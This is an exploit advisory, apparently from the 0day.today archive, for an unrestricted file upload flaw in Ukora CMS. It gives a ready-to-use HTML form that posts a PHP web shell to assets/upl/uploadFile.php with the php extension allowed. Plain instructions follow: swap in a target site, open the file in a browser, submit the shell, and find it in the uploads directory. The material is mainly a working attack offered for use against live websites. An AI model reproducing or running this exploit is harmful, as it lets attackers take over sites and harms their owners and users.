Ukora CMS Shell Upload vulnerability

##################################################################################################
#Exploit Title : Ukora CMS Shell Upload vulnerability
#Author        : Jagriti Sahu AKA incredible
#Vendor        : http://ukora.com
#Download Link : https://github.com/baskuis/ukoracms
#version affected : all
#Date          : 23/07/2014
#Discovered at : IndiShell Lab
#Love to       : Surbhi, Mradula and Harry
##################################################################################################

////////////////////////
/// Overview:
////////////////////////


Ukora CMS is affected from remote file upload vulnerability and 
attacker can upload php shell to website easily

///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to assets/upl/uploadFile.php file in which there 
is no check during file upload
attacker need to forward file upload request to this file with PHP 
shell and file Extension


///////////////////////
///  exploit code  ////
///////////////////////

<div align=center><br><br> --==[[ <font color=red>Discovered at 
IndiShell Lab</font> ]]==--<br>
+===========================================+
<br><br>
<form 
action="http://www.website.com/assets/upl/uploadFile.php?folder=/uploads&fileext=php" 
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" > &nbsp
<input type="submit" name="submit" value="own the target >:D<">
</form>
Replace website.com with website name which is using Ukora CMS
save this code on you machine as exploit.html
open exploit.html into webbrowser, brows your php shell and click 
submit button

if your shell name is shell.php, your shell will be renamed like this
shell-php.php

shell will be uploaded in uploads directory
http://www.website.com/uploads/shell-php.php

#  0day.today [2018-02-06]  #